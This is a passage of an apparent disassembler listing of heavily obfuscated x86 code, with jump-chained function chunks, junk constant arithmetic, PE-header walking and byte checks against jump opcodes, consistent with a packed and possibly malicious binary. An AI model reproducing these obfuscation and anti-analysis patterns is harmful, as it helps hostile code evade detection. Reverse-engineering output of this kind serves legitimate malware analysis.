FUNCTION CHUNK FOR sub_427486 loc_426123: ; CODE XREF: sub_427486:loc_427292j ; hjohnhn9:004272AEj and edx, 6A6446A1h test edx, 20000h jmp loc_423246 ; END OF FUNCTION CHUNK FOR sub_427486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4275A3 loc_426134: ; CODE XREF: sub_4275A3:loc_42686Bj call sub_4230E0 loc_426139: ; CODE XREF: sub_426638:loc_427F44j jl loc_425CD2 sbb edx, 0F41EDE25h push 0B42397E8h jmp loc_425CD0 ; END OF FUNCTION CHUNK FOR sub_4275A3 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_426150: ; DATA XREF: sub_427C9B+9Do push 0D5915632h pop eax sub eax, 1B5FE3AFh xor eax, 667D6B26h add eax, 9C500B56h add eax, ebp add eax, 8763DAF1h push edi jmp loc_428C28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_426176: ; CODE XREF: sub_427C9B+8FAj jge loc_4238AA xchg ebp, [esi] jmp loc_424F76 ; END OF FUNCTION CHUNK FOR sub_427C9B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_80. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_426184: ; CODE XREF: hjohnhn9:00426B4Fj jmp loc_4244EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282F8 loc_426189: ; CODE XREF: sub_4282F8-3B09j jmp loc_425BC8 ; END OF FUNCTION CHUNK FOR sub_4282F8 ; --------------------------------------------------------------------------- dw 0C613h dd 95CA8157h, 0E978E918h, 0FFFFD55Eh ; --------------------------------------------------------------------------- loc_42619C: ; CODE XREF: hjohnhn9:00426BA2j mov eax, [ebp-1Ch] mov al, [eax] mov edx, [ebp-20h] mov [edx], al jmp loc_4266CC ; --------------------------------------------------------------------------- sbb edi, 0ABCEEB72h add ecx, 3AE5C846h jmp sub_42841F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426708 loc_4261BC: ; CODE XREF: sub_426708:loc_4264ADj mov eax, ds:dword_4233A0 or eax, eax jnz loc_423B9C jmp loc_426E5A ; END OF FUNCTION CHUNK FOR sub_426708 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_4261CF: ; CODE XREF: sub_424698+455Aj add eax, 4C448979h loc_4261D5: ; CODE XREF: sub_424698:loc_424153j call sub_424877 push 94857662h pop edx and edx, 5930BFE2h jmp loc_427657 ; END OF FUNCTION CHUNK FOR sub_424698 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_56. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_4261EC: ; CODE XREF: hjohnhn9:00427E3Aj jmp loc_425066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427994 loc_4261F1: ; CODE XREF: sub_427994+10j jmp loc_4239EC ; END OF FUNCTION CHUNK FOR sub_427994 ; --------------------------------------------------------------------------- loc_4261F6: ; CODE XREF: hjohnhn9:0042841Aj add ebp, edi shl ecx, 6 jnp loc_42403E jmp loc_426EA6 ; --------------------------------------------------------------------------- adc ecx, 110AAC48h jmp loc_427850 ; =============== S U B R O U T I N E ======================================= sub_426211 proc near ; CODE XREF: sub_423D1C+5p ; sub_4260BD+CE8j ; FUNCTION CHUNK AT 00423241 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424526 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 004250CF SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042765C SIZE 00000005 BYTES xchg esi, [esp+0] pop esi push 7FDD7FB8h pop edi and edi, 82A2154Ch test edi, 400000h jmp loc_423241 sub_426211 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_70. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- mov edx, [esi] jmp sub_425029 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_85. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_426235: ; CODE XREF: sub_425BD2:loc_428CAAj xchg ebp, [esp+4+var_4] jmp loc_423771 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42855B loc_42623D: ; CODE XREF: sub_42855Bj push ecx mov ecx, ebp xchg ecx, [esp+4+var_4] mov ebp, esp jmp loc_423320 ; END OF FUNCTION CHUNK FOR sub_42855B ; --------------------------------------------------------------------------- cmp ebx, 0D69F4B63h jmp loc_427B6D ; --------------------------------------------------------------------------- loc_426255: ; DATA XREF: sub_4250C3+3E9Fo mov eax, [ebp-4] add eax, 3Ch mov eax, [eax] add eax, [ebp-4] add eax, 18h jmp loc_423D33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_426268: ; CODE XREF: sub_423CDB:loc_4267FCj xor eax, eax loc_42626A: ; CODE XREF: sub_42355C:loc_425E06j ; sub_425029:loc_428823j jmp loc_424BB4 ; END OF FUNCTION CHUNK FOR sub_423CDB ; =============== S U B R O U T I N E ======================================= sub_42626F proc near ; DATA XREF: sub_424A78+4116o ; FUNCTION CHUNK AT 0042302C SIZE 00000005 BYTES jz loc_4242D9 push ebp mov eax, [ebp-20h] call sub_426287 pop ecx loc_42627F: ; CODE XREF: sub_427C9B+23j mov [ebp-20h], eax jmp loc_42302C sub_42626F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426287 proc near ; CODE XREF: sub_42626F+Ap push ebp mov ebp, esp jmp sub_424A55 sub_426287 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426523 loc_42628F: ; CODE XREF: sub_426523+Dj jno loc_42845E idiv ecx push ecx push 6587844Bh pop ecx jmp loc_4290A3 ; END OF FUNCTION CHUNK FOR sub_426523 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A36 loc_4262A3: ; CODE XREF: sub_427A36+9j push ecx cmp ds:dword_423940, 0 jz loc_427EAB mov eax, ds:dword_423940 mov eax, [eax] push offset sub_4262DA jmp loc_42888D ; END OF FUNCTION CHUNK FOR sub_427A36 ; =============== S U B R O U T I N E ======================================= sub_4262C2 proc near ; DATA XREF: sub_4263E3-1814o xor eax, eax retn sub_4262C2 endp ; =============== S U B R O U T I N E ======================================= sub_4262C5 proc near ; CODE XREF: sub_4279C8p ; sub_4263E3+1B38p ... ; FUNCTION CHUNK AT 00423288 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423466 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042389B SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00423B1F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00423C0D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00423F0B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424ADE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424E63 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 004251E6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004264E3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004265F3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042761C SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00427C18 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00428031 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00428B61 SIZE 0000000B BYTES jo sub_4266B5 call sub_426671 loc_4262D0: ; CODE XREF: hjohnhn9:0042656Ej jmp loc_4265F3 sub_4262C5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424EC9 loc_4262D5: ; CODE XREF: sub_424EC9+5j jmp loc_427E0A ; END OF FUNCTION CHUNK FOR sub_424EC9 ; =============== S U B R O U T I N E ======================================= sub_4262DA proc near ; DATA XREF: sub_427A36-177Eo mov ds:dword_423944, eax xor eax, eax push offset sub_4278EC jmp nullsub_16 sub_4262DA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_4262EB: ; CODE XREF: sub_426354:loc_42323Cj jnz loc_427B58 mov eax, [ebp-1Ch] shl eax, 8 mov edx, [ebp-20h] movzx edx, byte ptr [edx] jmp loc_428B67 ; --------------------------------------------------------------------------- loc_426302: ; CODE XREF: sub_426354:loc_427A11j cmp dword ptr [ebp-1Ch], 0Fh jnz loc_427B58 jmp loc_428388 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426708 loc_426311: ; CODE XREF: sub_426708:loc_426E5Aj jz loc_4247A4 jmp loc_426947 ; END OF FUNCTION CHUNK FOR sub_426708 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426671 loc_42631C: ; CODE XREF: sub_426671+122Aj add ebp, eax xchg edi, [esi] jmp loc_423FCD ; END OF FUNCTION CHUNK FOR sub_426671 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_426325: ; CODE XREF: sub_4260BD-16A5j xchg esi, eax jmp loc_42604A ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- loc_42632C: ; CODE XREF: hjohnhn9:0042397Fj xor eax, 0C53AEA7h rol ebp, 1Ah loc_426335: ; CODE XREF: hjohnhn9:loc_427208j mov eax, [ebp-4] xor edx, edx call sub_425E94 ; START OF FUNCTION CHUNK FOR sub_426CC8 loc_42633F: ; CODE XREF: sub_426CC8+2EBj jmp loc_4286BD ; END OF FUNCTION CHUNK FOR sub_426CC8 ; --------------------------------------------------------------------------- loc_426344: ; CODE XREF: hjohnhn9:00426F3Fj jmp loc_425BE0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_91. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4247F4 loc_42634A: ; CODE XREF: sub_4247F4+429Ej jmp loc_4263F6 ; END OF FUNCTION CHUNK FOR sub_4247F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424E4F loc_42634F: ; CODE XREF: sub_424E4F+9j jmp loc_4244D3 ; END OF FUNCTION CHUNK FOR sub_424E4F ; =============== S U B R O U T I N E ======================================= sub_426354 proc near ; CODE XREF: hjohnhn9:0042738Dj ; sub_426354:loc_42909Ep ; FUNCTION CHUNK AT 0042323C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423350 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00423451 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004238BA SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00424B60 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00424D6D SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00425270 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00425C05 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00425E20 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00425EC5 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00425F00 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 004262EB SIZE 00000026 BYTES ; FUNCTION CHUNK AT 00426938 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00426E07 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004275D2 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00427927 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427A11 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00427AB5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428388 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004283BF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042854C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004285DA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042875B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004287E0 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00428BAC SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042909E SIZE 0000000A BYTES xchg edi, [esp+0] pop edi jnb loc_424B60 cmp dword ptr [ebp-1Ch], 66h push offset sub_424B4A jmp loc_4285DA sub_426354 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42636C proc near ; CODE XREF: sub_42325E+B9Ep ; hjohnhn9:004281B4j ; FUNCTION CHUNK AT 00423671 SIZE 0000001C BYTES xchg ecx, [esp+0] pop ecx push ecx push 0F5848676h pop ecx jmp loc_423671 sub_42636C endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_22. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- cmp edx, 84014F17h jmp loc_4267EC ; --------------------------------------------------------------------------- loc_426388: ; CODE XREF: hjohnhn9:loc_4270CAj test eax, 0A07829E3h jmp loc_427763 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427AC0 loc_426393: ; CODE XREF: sub_427AC0+Aj pop ecx xor ecx, 0FA943B2h add ecx, 0CC3B5D4Bh loc_4263A0: ; CODE XREF: sub_425BD2-1CA0j xor ecx, 4FB64A39h xchg ecx, [esp+0] lea eax, [ebp-34h] jmp loc_424251 ; END OF FUNCTION CHUNK FOR sub_427AC0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279C0 loc_4263B1: ; CODE XREF: sub_4279C0-3545j push edi mov edi, edx xchg edi, [esp+4+var_4] push ebp mov ebp, eax xchg ebp, [esp+8+var_8] call sub_4279C0 jmp loc_427FF5 ; END OF FUNCTION CHUNK FOR sub_4279C0 ; =============== S U B R O U T I N E ======================================= sub_4263C7 proc near ; CODE XREF: hjohnhn9:00427224j ; hjohnhn9:00427B83p xchg esi, [esp+0] pop esi mov eax, [ebp-4] call sub_428CE7 sub_4263C7 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_427486 loc_4263D3: ; CODE XREF: sub_427486:loc_424E99j jmp nullsub_26 ; END OF FUNCTION CHUNK FOR sub_427486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424C5F loc_4263D8: ; CODE XREF: sub_424C5F+11j jmp nullsub_72 ; END OF FUNCTION CHUNK FOR sub_424C5F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_4263DE: ; CODE XREF: sub_423B05+15B7j jmp loc_428D80 ; END OF FUNCTION CHUNK FOR sub_423B05 ; =============== S U B R O U T I N E ======================================= sub_4263E3 proc near ; DATA XREF: sub_428F0B-596Do var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004248A6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424BCE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425056 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004250A8 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004265E9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426C9B SIZE 0000002D BYTES ; FUNCTION CHUNK AT 00427F10 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00427FED SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00428A14 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004290A8 SIZE 0000000A BYTES mov eax, ds:dword_42339C or eax, eax jnz loc_427FED jmp loc_4248A6 sub_4263E3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4247F4 loc_4263F6: ; CODE XREF: sub_4247F4:loc_42634Aj mov [esi], eax pop esi mov eax, [ebp-4] pop ecx pop ebp retn 4 ; END OF FUNCTION CHUNK FOR sub_4247F4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_93. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424564 loc_426402: ; CODE XREF: sub_424564:loc_427F75j cmp ds:dword_4252DC[eax*4], 0 jz loc_42755C mov eax, [ebp+var_4] cmp byte ptr [eax], 0CFh jz loc_427555 mov eax, [ebp+var_4] cmp byte ptr [eax], 0E9h jz loc_427555 jmp loc_427FC9 ; END OF FUNCTION CHUNK FOR sub_424564 ; --------------------------------------------------------------------------- loc_42642D: ; CODE XREF: hjohnhn9:0042425Cj and ecx, 695284E5h ; START OF FUNCTION CHUNK FOR sub_42466E loc_426433: ; CODE XREF: sub_42466E:loc_42424Bj add ebx, 49588021h add eax, ebx pop ebx mov [ebp-4], eax mov eax, [ebp-10h] test eax, eax jmp loc_425D3D ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427DE6 loc_426449: ; CODE XREF: sub_427DE6:loc_425F06j push 0 call sub_424AAE xor eax, [ebp-8] push offset loc_427CD0 jmp loc_4264B2 ; END OF FUNCTION CHUNK FOR sub_427DE6 ; =============== S U B R O U T I N E ======================================= sub_42645D proc near ; CODE XREF: sub_423B05:loc_425252p ; hjohnhn9:00425F7Cj ; FUNCTION CHUNK AT 0042871E SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx push eax ror eax, 11h push offset sub_424831 jmp loc_42871E sub_42645D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_42646F: ; CODE XREF: sub_424698:loc_42469Ej push ecx jmp loc_42893A ; END OF FUNCTION CHUNK FOR sub_424698 ; =============== S U B R O U T I N E ======================================= sub_426475 proc near ; DATA XREF: sub_4275B2+Eo var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423027 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004231C3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004234D8 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00425B6B SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00425E69 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042602D SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00426E9B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427EA1 SIZE 00000005 BYTES call sub_424AAE xor eax, [ebp-8] mov byte ptr [eax], 5Bh call sub_424AAE xor eax, [ebp-8] inc eax mov edx, [ebp-4] jmp loc_423027 sub_426475 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_426491: ; CODE XREF: sub_424819:loc_426A03j ; hjohnhn9:00428AD3j xor edx, 75C89949h add edx, 822762DFh xchg edx, [esp-4+arg_0] push eax pushf push 1C160C50h jmp loc_423394 ; END OF FUNCTION CHUNK FOR sub_424819 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4264AC proc near ; CODE XREF: sub_428183:loc_42335Cj retn sub_4264AC endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426708 loc_4264AD: ; CODE XREF: sub_426708+Dj jmp loc_4261BC ; END OF FUNCTION CHUNK FOR sub_426708 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427DE6 loc_4264B2: ; CODE XREF: sub_427DE6-198Ej jmp nullsub_40 ; END OF FUNCTION CHUNK FOR sub_427DE6 ; --------------------------------------------------------------------------- loc_4264B7: ; CODE XREF: hjohnhn9:00425D98j jmp loc_428922 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D9D loc_4264BC: ; CODE XREF: sub_427D9D:loc_42838Dj mov edx, [edx-8] or edx, 40h or eax, edx mov edx, [ebp+8] mov [edx-8], eax jmp loc_423F3D ; END OF FUNCTION CHUNK FOR sub_427D9D ; =============== S U B R O U T I N E ======================================= sub_4264CF proc near ; CODE XREF: sub_4251D3+9p ; hjohnhn9:00428901j ; FUNCTION CHUNK AT 00427392 SIZE 00000015 BYTES xchg ebx, [esp+0] pop ebx mov eax, ds:dword_428AE4 call sub_427486 loc_4264DE: ; CODE XREF: sub_424377+3414j jmp loc_427392 sub_4264CF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_4264E3: ; CODE XREF: sub_4262C5-26B0j rol eax, 12h loc_4264E6: ; CODE XREF: sub_4262C5:loc_428031j call sub_426CE6 loc_4264EB: ; CODE XREF: sub_428D64-5ECj jmp loc_427C18 ; END OF FUNCTION CHUNK FOR sub_4262C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425C98 loc_4264F0: ; CODE XREF: sub_425C98+7j jmp loc_42877D ; END OF FUNCTION CHUNK FOR sub_425C98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_4264F5: ; CODE XREF: sub_424631-163j jmp loc_424C46 ; END OF FUNCTION CHUNK FOR sub_424631 ; =============== S U B R O U T I N E ======================================= sub_4264FA proc near ; CODE XREF: sub_426A78-4F5p ; hjohnhn9:004268AEj ; FUNCTION CHUNK AT 004248D0 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx call sub_4279ED push eax ror eax, 9 mov ds:dword_428380, eax jmp loc_4248D0 sub_4264FA endp ; sp-analysis failed ; --------------------------------------------------------------------------- jle loc_428B67 and ebx, 0D4E35CF9h jmp sub_423369 ; =============== S U B R O U T I N E ======================================= sub_426523 proc near ; CODE XREF: hjohnhn9:004249F7j ; sub_425B34+Ap ; FUNCTION CHUNK AT 0042628F SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042845E SIZE 0000000F BYTES xchg esi, [esp+0] pop esi mov eax, [ebp-8] mov ecx, 0Ah cdq jmp loc_42628F sub_426523 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_426535: ; CODE XREF: sub_424631:loc_424CAAj cmp dword ptr [ebp-14h], 6 setz al call sub_42392D pop ecx jmp loc_426E35 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424564 loc_426547: ; CODE XREF: sub_424564+8BBj jz loc_427555 ; END OF FUNCTION CHUNK FOR sub_424564 ; START OF FUNCTION CHUNK FOR sub_426C09 loc_42654D: ; CODE XREF: sub_426C09:loc_428F8Ej mov eax, [ebp-4] cmp byte ptr [eax], 0E9h jz loc_427555 ; END OF FUNCTION CHUNK FOR sub_426C09 ; START OF FUNCTION CHUNK FOR sub_4284CB loc_426559: ; CODE XREF: sub_4284CB:loc_427FC9j mov eax, [ebp-4] loc_42655C: ; CODE XREF: sub_427564:loc_428906j jmp loc_423C85 ; END OF FUNCTION CHUNK FOR sub_4284CB ; --------------------------------------------------------------------------- loc_426561: ; DATA XREF: sub_428309+6o pop ebp push 464D8703h pop eax sub eax, 0C8CE68BBh jmp loc_4262D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_426573: ; CODE XREF: sub_426A78+2468j pop edi push 0EC8CA081h loc_426579: ; CODE XREF: sub_426A78:loc_423217j call sub_424877 mov edx, 8D40711Dh call sub_4264FA loc_426588: ; CODE XREF: sub_42841F-916j jg loc_423041 loc_42658E: ; CODE XREF: sub_42841F:loc_423D11j push ebp push esi push edi push ebx jmp loc_4233C8 ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- loc_426597: ; CODE XREF: hjohnhn9:004243CFj jnp loc_426B63 mov [ebp+0], eax ; =============== S U B R O U T I N E ======================================= sub_4265A0 proc near ; CODE XREF: sub_423D67-B55p var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004270C5 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax add eax, 0BAC28E35h xchg eax, [esp-4+arg_0] jmp loc_4270C5 sub_4265A0 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_29. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424E4F loc_4265B3: ; CODE XREF: sub_424E4F:loc_42872Aj jmp loc_428B82 ; END OF FUNCTION CHUNK FOR sub_424E4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_4265B8: ; CODE XREF: sub_425BD2+2B37j jmp loc_427253 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- locret_4265BD: ; CODE XREF: hjohnhn9:loc_424723j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428965 loc_4265BE: ; CODE XREF: sub_428965+10j jmp nullsub_68 ; END OF FUNCTION CHUNK FOR sub_428965 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42363F loc_4265C3: ; CODE XREF: sub_42363F+198Cj jmp loc_426FB8 ; END OF FUNCTION CHUNK FOR sub_42363F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231AD loc_4265C8: ; CODE XREF: sub_4231AD+1B52j jmp loc_427FA4 ; END OF FUNCTION CHUNK FOR sub_4231AD ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4265CD proc near ; CODE XREF: hjohnhn9:00426AB9p var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 004232EB SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042352D SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004235F0 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042403E SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00424449 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424737 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00425D6F SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00425F4D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00426B68 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427A9C SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00427FAF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428576 SIZE 00000006 BYTES push ebp mov ebp, esp push edx push ecx pop edx xchg edx, [esp+0] mov esp, ebp jmp loc_424737 sub_4265CD endp ; sp-analysis failed ; --------------------------------------------------------------------------- sub eax, 0B756ED04h jmp sub_426961 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_35. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4263E3 loc_4265E9: ; CODE XREF: sub_4263E3+1B40j jmp loc_424BCE ; END OF FUNCTION CHUNK FOR sub_4263E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424877 loc_4265EE: ; CODE XREF: sub_424877-22Bj call sub_428D49 ; END OF FUNCTION CHUNK FOR sub_424877 ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_4265F3: ; CODE XREF: sub_4262C5:loc_4262D0j or eax, 20B003h test eax, 40000h jmp loc_428031 ; END OF FUNCTION CHUNK FOR sub_4262C5 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426604 proc near ; CODE XREF: sub_426708j ; FUNCTION CHUNK AT 00428C3F SIZE 00000005 BYTES push ebp mov ebp, esp push ecx mov esp, ebp pop ebp call sub_425DE4 loc_426610: ; DATA XREF: sub_424631-14AEo or dword ptr [eax-8], 8 jmp loc_428C3F sub_426604 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_426619: ; CODE XREF: sub_424631+3178j ; sub_424631+3185j jnb loc_423EE2 cmp dword ptr [ebp-10h], 0 jnz loc_42516C mov eax, [ebp+8] push eax jmp loc_424CAA ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- loc_426632: ; CODE XREF: hjohnhn9:00427B75j jns loc_426796 ; =============== S U B R O U T I N E ======================================= sub_426638 proc near ; CODE XREF: sub_423BC3:loc_423388p ; FUNCTION CHUNK AT 004230FD SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00427F44 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427F5F SIZE 00000005 BYTES xchg eax, [esp+0] pop eax push edx push 2625621Bh pop edx jmp loc_427F5F sub_426638 endp ; --------------------------------------------------------------------------- and edi, eax jmp loc_423AF1 ; --------------------------------------------------------------------------- locret_42664F: ; CODE XREF: hjohnhn9:00428BA5j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_426650: ; CODE XREF: sub_424631-A7Ej jmp loc_424314 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_426655: ; CODE XREF: sub_424161-603j mov eax, ebp pop ebp and eax, 43C3D247h rol eax, 0Ah add eax, 58B6A62Ch call sub_427C9B ; END OF FUNCTION CHUNK FOR sub_424161 ; START OF FUNCTION CHUNK FOR sub_424B4A loc_42666C: ; CODE XREF: sub_424B4A+11j jmp loc_425ED0 ; END OF FUNCTION CHUNK FOR sub_424B4A ; =============== S U B R O U T I N E ======================================= sub_426671 proc near ; CODE XREF: hjohnhn9:00424096j ; sub_4262C5+6p ; FUNCTION CHUNK AT 0042316A SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00423FCD SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00426019 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042631C SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00427895 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428551 SIZE 